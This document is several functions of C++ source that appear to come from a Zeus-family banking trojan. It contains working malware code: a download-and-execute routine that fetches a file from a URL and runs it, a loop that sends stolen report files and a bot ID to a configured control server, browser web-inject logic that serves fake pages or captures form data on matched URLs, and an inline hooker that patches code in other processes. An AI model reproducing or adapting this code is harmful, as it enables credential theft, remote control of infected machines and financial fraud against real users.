static bool userExecute(const LPWSTR *arguments, DWORD argumentsCount) { bool ok = false; if(argumentsCount > 1 && arguments[1][0] != 0) { WCHAR filePath[MAX_PATH]; //URL. Str::UTF8STRING u8Url; if(CWA(shlwapi, PathIsURLW)(arguments[1]) == TRUE) { if(Str::_utf8FromUnicode(arguments[1], -1, &u8Url)) { //Create a temporary directory. if(Fs::_createTempDirectory(NULL, filePath)) { //Obtain the file name. //FIXME: Content-Disposition LPWSTR fileName = HttpTools::_getFileNameFromUrl((LPSTR)u8Url.data); if(fileName != NULL && Fs::_pathCombine(filePath, filePath, fileName)) { //Download file. Wininet::CALLURLDATA cud; Core::initDefaultCallUrlData(&cud); cud.pstrURL = (LPSTR)u8Url.data; cud.hStopEvent = coreData.globalHandles.stopEvent; cud.DownloadData_pstrFileName = filePath; WDEBUG2(WDDT_INFO, "\"%S\" => \"%s\".", u8Url.data, filePath); ok = Wininet::_CallURL(&cud, NULL); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "Failed to get file name."); # endif Mem::free(fileName); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "Failed to create temp direcory."); # endif Str::_utf8Free(&u8Url); } } //Local path. Converting variables. else { DWORD size = CWA(kernel32, ExpandEnvironmentStringsW)(arguments[1], filePath, MAX_PATH); if(size > 0 && size < MAX_PATH)ok = true; } //Zapsuk file. if(ok) { LPWSTR commandLine = NULL; if(argumentsCount > 2 && (commandLine = Str::_joinArgumentsW(arguments + 2, argumentsCount - 2)) == NULL) { ok = false; } else { WDEBUG1(WDDT_INFO, "commandLine=[%s]", commandLine); //Start. ok = (((int)CWA(shell32, ShellExecuteW)(NULL, NULL, filePath, commandLine, NULL, SW_SHOWNORMAL)) > 32); //Well the point is ... It's worth a try. if(!ok)ok = (Process::_createEx(filePath, commandLine, NULL, NULL, NULL) != 0); Mem::free(commandLine); } } } return ok; }
static DWORD WINAPI defaultSender(void *p) { CoreHook::disableFileHookerForCurrentThread(true); SENDERDATA *senderData = (SENDERDATA *)p; HANDLE mutex = Core::waitForMutexOfObject(senderData->threadType == DEFAULTSENDER_REPORT ? Core::OBJECT_ID_SERVER_SESSION_REPORT : Core::OBJECT_ID_SERVER_SESSION_STATUS, MalwareTools::KON_GLOBAL); if(mutex == NULL) { WDEBUG1(WDDT_ERROR, "Failed, %u.", senderData->threadType); Mem::free(senderData); return 1; } //Насатраиваем данные сессии. Report::SERVERSESSION serverSession; Crypt::RC4KEY rc4Key; serverSession.requestProc = defaultSenderRequestProc; serverSession.resultProc = defaultSenderResultProc; serverSession.stopEvent = coreData.globalHandles.stopEvent; serverSession.rc4Key = &rc4Key; serverSession.customData = senderData; //Получем таймауты. DWORD normalDelay; DWORD errorDelay; DWORD maxDelay; { BASECONFIG baseConfig; Core::getBaseConfig(&baseConfig); Mem::_copy(&rc4Key, &baseConfig.baseKey, sizeof(Crypt::RC4KEY)); switch(senderData->threadType) { case DEFAULTSENDER_REPORT: normalDelay = HIWORD(baseConfig.delayReport); errorDelay = LOWORD(baseConfig.delayReport); break; case DEFAULTSENDER_STATUS: normalDelay = HIWORD(baseConfig.delayStats); errorDelay = LOWORD(baseConfig.delayStats); break; } normalDelay *= 60 * 1000; errorDelay *= 60 * 1000; maxDelay = max(normalDelay, errorDelay); Mem::_zero(&baseConfig, sizeof(BASECONFIG)); } //Запуск. BYTE loopResult; WCHAR tempFile[MAX_PATH]; tempFile[0] = 0; WDEBUG1(WDDT_INFO, "Started, %u.", senderData->threadType); if(Core::isActive())do { loopResult = DSR_WAIT_DATA; //Проверяем наличие отчетов. if(senderData->threadType == DEFAULTSENDER_REPORT) { initReportFile(false, tempFile[0] == 0 ? tempFile : NULL); if(!findReportFileForSending(senderData->reportFile, tempFile, maxDelay))continue; //Проверяем файл. { DWORD64 fileSize = Fs::_getFileSizeEx(senderData->reportFile); if(fileSize == (DWORD)(-1) || fileSize > 0xFFFFFFFF) { Fs::_removeFile(senderData->reportFile); WDEBUG1(WDDT_WARNING, "Removed \"%s\".", senderData->reportFile); continue; } } WDEBUG1(WDDT_INFO, "Founded \"%s\".", senderData->reportFile); //Перемещаем во временный файл. if(CWA(kernel32, lstrcmpiW)(senderData->reportFile, tempFile) != 0) { HANDLE reportMutex = Core::waitForMutexOfObject(Core::OBJECT_ID_REPORTFILE, MalwareTools::KON_GLOBAL); if(reportMutex == NULL) { WDEBUG0(WDDT_ERROR, "Mutex failed."); continue; } if(CWA(kernel32, MoveFileExW)(senderData->reportFile, tempFile, MOVEFILE_COPY_ALLOWED | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH) == FALSE) { WDEBUG2(WDDT_ERROR, "Failed to move file \"%s\" => \"%s\".", senderData->reportFile, tempFile); continue; } Sync::_freeMutex(reportMutex); Str::_CopyW(senderData->reportFile, tempFile, -1); } } //Создаем сессию. BinStorage::STORAGE *binStorage = DynamicConfig::getCurrent(); if(binStorage != NULL) { serverSession.url = (LPSTR)BinStorage::_getItemDataEx(binStorage, CFGID_URL_SERVER_0, BinStorage::ITEMF_IS_OPTION, NULL); Mem::free(binStorage); if(serverSession.url != NULL) { serverSession.postData = NULL; if(Report::addBasicInfo(&serverSession.postData, Report::BIF_BOT_ID)) { senderData->storage.file = INVALID_HANDLE_VALUE; loopResult = Report::startServerSession(&serverSession) ? DSR_SENDED : DSR_ERROR; BinStorage::_closeStorageArray(&senderData->storage); Mem::free(serverSession.postData); } } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "CFGID_URL_SERVER_0 is empty."); # endif Mem::free(serverSession.url); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_WARNING, "Configuration not founded."); # endif } while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, loopResult == DSR_ERROR ? errorDelay : (loopResult == DSR_SENDED ? normalDelay : 30000)) == WAIT_TIMEOUT); WDEBUG1(WDDT_INFO, "Stopped, %u.", senderData->threadType); Sync::_freeMutex(mutex); Mem::free(senderData); return 0; }
/* Проверка запроса на необходимость инждекта. IN OUT requestData - запрос. Return - true - инжекты применины, false - инжекты не применены */ static bool checkRequestForInject(HttpGrabber::REQUESTDATA *requestData) { if(requestData->dynamicConfig == NULL)return false; DWORD listSize; LPBYTE list = (LPBYTE)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_INJECTS_LIST, BinStorage::ITEMF_IS_OPTION, &listSize); requestData->injectsCount = 0; requestData->injects = NULL; if(list != NULL && listSize > sizeof(HttpInject::HEADER)) { WORD knownFlags = requestData->verb == HttpGrabber::VERB_POST ? HttpInject::FLAG_REQUEST_POST : HttpInject::FLAG_REQUEST_GET; DWORD index = 0; HttpInject::HEADER *curInject = (HttpInject::HEADER *)list; LPBYTE endOfList = list + listSize; while(HttpInject::_isCorrectHeader(curInject)) { LPSTR p = (LPSTR)curInject; //Переменная для легокого доступа к строкам. LPSTR urlMask = p + curInject->urlMask; DWORD matchFlags = curInject->flags & HttpInject::FLAG_URL_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0; if((curInject->flags & knownFlags) == knownFlags && HttpGrabber::_matchUrlA(urlMask, requestData->url, requestData->urlSize, matchFlags)) { //Проверяем по блеклисту. if(requestData->localConfig != NULL && HttpGrabber::_isUrlInList(LocalConfig::ITEM_URLLIST_BLOCKEDINJECTS, requestData->localConfig, requestData->url, requestData->urlSize, matchFlags)) { # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "Inject for [%S] is blacklisted.", requestData->url); # endif goto SKIP_ITEM; } //Проверяем пост-данные. if(curInject->postDataBlackMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataBlackMask, (LPSTR)requestData->postData, requestData->postDataSize) == true) { goto SKIP_ITEM; } if(curInject->postDataWhiteMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataWhiteMask, (LPSTR)requestData->postData, requestData->postDataSize) == false) { goto SKIP_ITEM; } //Проверяем суточные ограничения. if(curInject->flags & HttpInject::FLAG_ONCE_PER_DAY && curInject->blockOnUrl > 0) { SYSTEMTIME lastTime; WCHAR key[CORE_REGISTRY_KEY_BUFFER_SIZE]; WCHAR value[max(CORE_REGISTRY_VALUE_BUFFER_SIZE, (MD5HASH_SIZE * 2 + 1))]; Core::getRegistryValue(Core::RV_LOCALCONFIG, key, value); //Получаем хэш. { LPSTR blockUrl = p + curInject->blockOnUrl; BYTE hash[MD5HASH_SIZE]; if(!Crypt::_md5Hash(hash, blockUrl, Str::_LengthA(blockUrl)))goto SKIP_ITEM; Str::_toHexW(hash, MD5HASH_SIZE, value); } //Проверяем значение. if(Registry::_getValueAsBinary(HKEY_CURRENT_USER, key, value, NULL, &lastTime, sizeof(SYSTEMTIME)) == sizeof(SYSTEMTIME)) { SYSTEMTIME curTime; CWA(kernel32, GetLocalTime)(&curTime); if(lastTime.wDay == curTime.wDay && lastTime.wMonth == curTime.wMonth) { # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "Inject [%s] alredy executed today.", urlMask); # endif goto SKIP_ITEM; } } } //Все хорошо, собираем данные. { HttpGrabber::INJECTFULLDATA ifd; # if defined WDEBUG2 WDEBUG2(WDDT_INFO, "requestData->url=[%S] matched [%S].", requestData->url, urlMask); # endif Mem::_zero(&ifd, sizeof(HttpGrabber::INJECTFULLDATA)); ifd.flags = curInject->flags; ifd.urlMask = Str::_CopyExA(p + curInject->urlMask, -1); ifd.fakeUrl = curInject->fakeUrl == 0 ? NULL : Str::_CopyExA(p + curInject->fakeUrl, -1); ifd.blockOnUrl = curInject->blockOnUrl == 0 ? NULL : Str::_CopyExA(p + curInject->blockOnUrl, -1); ifd.contextMask = curInject->contextMask == 0 ? NULL : Str::_CopyExA(p + curInject->contextMask, -1); //Фейк. if(curInject->flags & (HttpInject::FLAG_IS_FAKE | HttpInject::FLAG_IS_MIRRORFAKE)) { //Мульти фейки нельзя использовать, удаляем все инжекты. _freeInjectFullDataList(requestData->injects, requestData->injectsCount); requestData->injectsCount = 0; if((requestData->injects = (HttpGrabber::INJECTFULLDATA *)Mem::copyEx(&ifd, sizeof(HttpGrabber::INJECTFULLDATA))) != NULL)requestData->injectsCount++; else HttpGrabber::_freeInjectFullData(&ifd); break; } //Инжект. else if(curInject->flags & (HttpInject::FLAG_IS_INJECT | HttpInject::FLAG_IS_CAPTURE)) { if((ifd.injects = (HttpInject::INJECTBLOCK *)BinStorage::_getItemDataEx(requestData->dynamicConfig, 1 + index, BinStorage::ITEMF_IS_HTTP_INJECT, &ifd.injectsSize)) != NULL && HttpInject::_isCorrectBlockList(ifd.injects, ifd.injectsSize) && Mem::reallocEx(&requestData->injects, sizeof(HttpGrabber::INJECTFULLDATA) * (requestData->injectsCount + 1))) { Mem::_copy(&requestData->injects[requestData->injectsCount++], &ifd, sizeof(HttpGrabber::INJECTFULLDATA)); } else { # if defined WDEBUG0 WDEBUG0(WDDT_ERROR, "Dynamic configuration corrupted!"); # endif Mem::free(ifd.injects); HttpGrabber::_freeInjectFullData(&ifd); _freeInjectFullDataList(requestData->injects, requestData->injectsCount); requestData->injectsCount = 0; break; } } //Неизвестно. else { HttpGrabber::_freeInjectFullData(&ifd); # if defined WDEBUG1 WDEBUG1(WDDT_ERROR, "Unknown inject detected, curInject->flags=0x%08X!", curInject->flags); # endif } } SKIP_ITEM:; } //Вычисляем следующий элемент. curInject = (HttpInject::HEADER *)(((LPBYTE)curInject) + curInject->size); if(((LPBYTE)curInject) + sizeof(HttpInject::HEADER) > endOfList || ((LPBYTE)curInject) + curInject->size > endOfList)break; index++; } } Mem::free(list); return (requestData->injectsCount > 0); }
/* Замена POST-данных "application/x-www-form-urlencoded". IN OUT requestData - запрос. Return - true - данные заменены, false - данные не заменены. */ static bool replacePostData(HttpGrabber::REQUESTDATA *requestData) { if(requestData->dynamicConfig == NULL || requestData->postDataSize == 0)return false; bool retVal = false; DWORD listSize; LPSTR list = (LPSTR)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_POSTDATA_FILTER, BinStorage::ITEMF_IS_OPTION, &listSize); if(Str::_isValidMultiStringA(list, listSize) && Str::_multiStringGetCountA(list) % 2 == 0) { LPSTR curMask = list; do if(HttpGrabber::_matchUrlA(curMask, requestData->url, requestData->urlSize, 0)) { # if defined WDEBUG2 WDEBUG2(WDDT_INFO, "requestData->url=[%S] matched [%S].", requestData->url, curMask); # endif LPSTR *varables; DWORD varablesCount; //Получем список переменных. if((varablesCount = Str::_splitToStringsA((LPSTR)requestData->postData, requestData->postDataSize, &varables, Str::STS_USE_SEPARATOR, '&')) != (DWORD)-1) { LPSTR *badVarables; DWORD badVarablesCount; curMask = Str::_multiStringGetIndexA(curMask, 1); //Получаем список "плохих" переменных. if(curMask != NULL && (badVarablesCount = Str::_splitToStringsA(curMask, Str::_LengthA(curMask), &badVarables, Str::STS_USE_SEPARATOR, ';')) != (DWORD)-1) { LPSTR newPostData = (LPSTR)Mem::alloc(requestData->postDataSize); DWORD newPostDataSize = 0; if(newPostData != NULL) { //Ищим. for(DWORD i = 0; i < varablesCount; i++)if(varables[i] != NULL && varables[i][0] != 0) { bool skip = false; int len = 0; //Длина переменной. while(varables[i][len] != '=' && varables[i][len] != 0)len++; for(DWORD j = 0; j < badVarablesCount; j++)if(badVarables[j] != NULL && badVarables[j][0] != 0 && HttpGrabber::_matchPostDataA(badVarables[j], varables[i], len)) { skip = true; break; } //Копируем переменную. if(skip == false) { if(newPostDataSize != 0)newPostData[newPostDataSize++] = '&'; len = Str::_LengthA(varables[i]); Mem::_copy(newPostData + newPostDataSize, varables[i], len); newPostDataSize += len; } } //Не чего не изменилось. if(newPostDataSize == requestData->postDataSize) { Mem::free(newPostData); } //Изменения есть. else { if(newPostDataSize == 0) { Mem::free(newPostData); newPostData = NULL; } requestData->postData = newPostData; requestData->postDataSize = newPostDataSize; retVal = true; } } Mem::freeArrayOfPointers(badVarables, badVarablesCount); } Mem::freeArrayOfPointers(varables, varablesCount); } break; } while((curMask = Str::_multiStringGetIndexA(curMask, 2)) != NULL); } Mem::free(list); return retVal; }
DWORD WaHook::_hook(HANDLE process, void *functionForHook, void *hookerFunction, void *originalFunction, HOTPATCHCALLBACK hotPatchCallback) { DWORD retVal = 0; DWORD oldProtect; DWORD_PTR avalibeBytes = checkAvalibleBytes(process, functionForHook); //Give all the rights of the affected pages. if(avalibeBytes >= OPCODE_MAX_SIZE * 2 && CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, PAGE_EXECUTE_READWRITE, &oldProtect) != 0) { //Read the old code. BYTE buf[OPCODE_MAX_SIZE * 2 + JMP_ADDR_SIZE]; Mem::_set(buf, (char)0x90, sizeof(buf));/*парано¤*/ if(CWA(kernel32, ReadProcessMemory)(process, functionForHook, buf, OPCODE_MAX_SIZE * 2, NULL) == 0)goto END; //Read opcodes, while their total length does not reach INJECT_SIZE. DWORD_PTR opcodeOffset = 0; for(;;) { LPBYTE currentOpcode = bufB + OpcodeOffset; DWORD currentOpcodeLen = Disasm::_getOpcodeLength(currentOpcode); //Unknown opcode. if(currentOpcodeLen == (DWORD)-1) { #if defined(WDEBUG2) WDEBUG2(WDDT_ERROR, "Bad opcode detected at offset %u for function 0x%p", opcodeOffset, functionForHook); #endif goto END; } opcodeOffset += currentOpcodeLen; if(opcodeOffset > sizeof(buf) - JMP_ADDR_SIZE) { #if defined(WDEBUG2) WDEBUG2(WDDT_ERROR, "Very long opcode detected at offset %u for function 0x%p", opcodeOffset - currentOpcodeLen, functionForHook); #endif goto END; } //Otnostielnye call and jmp. if((currentOpcode[0] == 0xE9 || currentOpcode[0] == 0xE8) && currentOpcodeLen == 1 + sizeof(DWORD)) //FIXME: not sure for x64. { # if defined(WDEBUG0) WDEBUG1(WDDT_INFO, "Relative JMP/CALL(%02X) detected.", currentOpcode[0]); # endif DWORD *relAddrSet = (DWORD *)(currentOpcode + 1); DWORD_PTR to = (*relAddrSet) + ((DWORD_PTR)functionForHookB + OpcodeOffset); *relAddrSet = (DWORD)(to - ((DWORD_PTR)originalFunctionB + OpcodeOffset)); } if(opcodeOffset >= INJECT_SIZE)break; } //Save the original opcodes in originalFunction. { //Appends buffer, jump to the continuation functionForHook. LPBYTE pjmp = bufB + OpcodeOffset; WRITE_JMP(pjmp, originalFunction/*B + OpcodeOffset*/, functionForHook/*B + OpcodeOffset*/); if(CWA(kernel32, WriteProcessMemory)(process, originalFunction, buf, opcodeOffset + JMP_ADDR_SIZE, NULL) == 0)goto END; } //Pishim inject into the function. { WRITE_JMP(buf, functionForHook, hookerFunction); hotPatchCallback(functionForHook, originalFunction); if(CWA(kernel32, WriteProcessMemory)(process, functionForHook, buf, INJECT_SIZE, NULL) == 0)goto END; } retVal = opcodeOffset + JMP_ADDR_SIZE; //The size of fragment excision. END: //Vosstanalivaem law. CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, oldProtect, &oldProtect); } return retVal; }